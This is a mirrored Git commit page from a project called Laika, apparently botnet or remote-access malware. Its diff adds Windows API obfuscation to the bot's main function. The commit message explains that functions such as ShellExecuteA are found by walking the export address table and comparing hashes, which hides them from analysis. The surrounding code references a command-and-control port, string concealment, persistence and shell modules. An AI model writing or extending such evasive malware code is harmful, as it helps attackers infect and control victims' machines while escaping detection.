mirror of
https://github.com/CPunch/Laika.git
synced 2026-03-20 17:00:03 +00:00
Bot: Added boilerplate windows API obfuscation
- Grabs the functions directly from the loaded library by walking the exported address table and comparing hashes - For now, only ShellExecuteA has been setup, more to come
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "obf.h"
|
||||
#include "persist.h"
|
||||
#include "shell.h"
|
||||
|
||||
@@ -27,6 +28,9 @@ int main()
|
||||
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||
struct sLaika_bot *bot;
|
||||
|
||||
/* init API obfuscation (windows only) */
|
||||
laikaO_init();
|
||||
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
laikaB_markRunning();
|
||||
|
||||
|
||||
Reference in New Issue
Block a user